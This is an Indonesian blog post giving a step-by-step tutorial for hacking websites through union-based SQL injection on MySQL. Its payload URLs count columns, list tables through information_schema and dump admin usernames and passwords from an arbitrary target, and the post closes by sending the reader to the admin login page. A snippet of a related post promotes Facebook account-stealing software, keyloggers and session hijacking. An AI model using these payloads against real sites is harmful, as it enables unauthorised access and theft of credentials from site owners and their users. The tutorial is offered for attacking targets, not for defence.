Skip to main content

Cara Hacking Website Dengan Teknik SQL Injection

Pengertian SQL Injection, SQL Injection adalah sebuah aksi hacking yang dilakukan diaplikasi client dengan cara memodifikasi perintah SQL yang ada dimemori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.






Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x



[ Step 1 ]

Carilah target
Misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]
[ Step 2 ]

Mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah: order by

Contoh:

[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

Ceklah secara step by step (satupersatu)...
Misal:

[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

Sehingga muncul error atau hilang pesan error...
Misal: [site]/berita.php?id=-100+order+by+9--

Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8--
[ Step 3 ]

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

Lihat versi yang digunakan se'umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..
[ Step 4 ]

Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name >>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

Se'umpama table yang muncul adalah "admin"
[ Step 5 ]

untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.​tables+where+table_schema=database()--
[ Step 6 ]

Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema​.columns+where+table_name=0xhexa--

Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :

http://www.v3n0m.net/ascii.htm

Contoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema​.columns+where+table_name=0x61646D696E--
[ Step 7 ]

Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

Contoh kata yang keluar adalah id,username,password

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
[ Step 8 ]

Tahap terakhir mencari halaman admin atau login.

Comments

Popular posts from this blog

Cara Buat jadi hacker bagi pemula

Banyak cara menjadi seorang hacker, dari cara yang paling mudah hingga cara yang paling sulit. Beberapa orang memakai software untuk melakukan hack.Harus ada kemauan dari diri sendiri tidak hanya kemauan utk sementara saja utk menjadi Hacking yang Hebat !!! Cara yang dipakai hacker untuk melakukan hack diantaranya pirates facebook, keylogger, mail passview, messenpass, social engineering, web spoofing, menghadang email,password cracking, session hijacking, menjadi proxy server, memanfaatkan kelalaian user dalam menggunakan fitur browser, dan googling. Pirates facebook Merupakan software yang bekerja dengan menggunakan nomor id facebook serta IP address facebook. Cara ini memang langsung menemukan kita pada email dan password korban namun yang mempersulit kita dalam pemakaian software ini adalah mengetikan IP Address. IP Address selalu berubah dalam waktu yang sangat singkat,dalam hitungan detik. Untuk menggunakan software ini diperlukan kerja keras,semangat dan

4 Gerakan Dalam Musik Metal

1. Headbanging Headbanging adalah adalah jenis tarian yang melibatkan kekerasan, menggelengkan kepala beriringan dengan musik gerakan mengayun-ayunkan kepala sambil mendengarkan musik yang biasanya adalah musik musik keras seperti heavy metal, death metal, trash, rock, dan sejenisnya (belum pernah liat orang headbanging pake musik melayu, najis pastinya). istilah “Headbanger” diciptakan saat tur pertama Led Zeppelin AS pada tahun 1969. Selama pertunjukan di Boston Tea Party, penonton anggota di baris pertama membenturkan kepala mereka terhadap panggung seirama dengan musik. yang jelas headbanging itu lebih asik dari pada baca buku pelajaran. Ada berbagai gaya headbanging. Berbagai gaya sering dicampur bersama-sama sesuai selera dan tempo dan berat musik. Mereka juga dapat melakukan dengan mata tertutup atau kombinasi dg gerakan tangan seperti tanda tanduk, bernyanyi, berteriak, dan sinkronisasi bibir. Headbangers biasanya nge-bang dengan kepala, mengurangi ketegangan pada le

7 Website Menarik Untuk Mengatasi Kebosanan di lingkungan anda

Menghibur diri saat jenuh tanpa harus meninggalkan meja. Menemukan hal baru di dunia internet selalu menjadi hal yang menyenangkan. Jangan paksakan diri Anda ketika sedang bosan bekerja. Cobalah beristirahat sejenak dengan membuka situs unik yang bisa menghibur Anda. Semua orang membutuhkan hiburan, bahkan dalam keadaan tersibuk sekalipun. Anda bisa saja membuka YouTube dan melihat video lucu dan menghibur sebagai senjata ampuh untuk mengusir rasa jenuh. Namun tidak ada salahnya untuk mencoba sesuatu yang baru dan yang tidak pernah Anda saksikan sebelumnya. Pikirkanlah bahwa dunia internet memiliki jutaan situs yang belum Anda telusuri, walaupun tidak semuanya berguna dan berfungsi dengan baik. Berikut beberapa situs yang menurut kami akan menghibur Anda saat jenuh dengan keseharian  kantor yang padat. 9gag dan Reddit Banyak orang yang telah mengetahui 9gag, namun faktanya, 9gag merupakan website dengan versi yang lebih rapi dari Reddit. Website Reddit te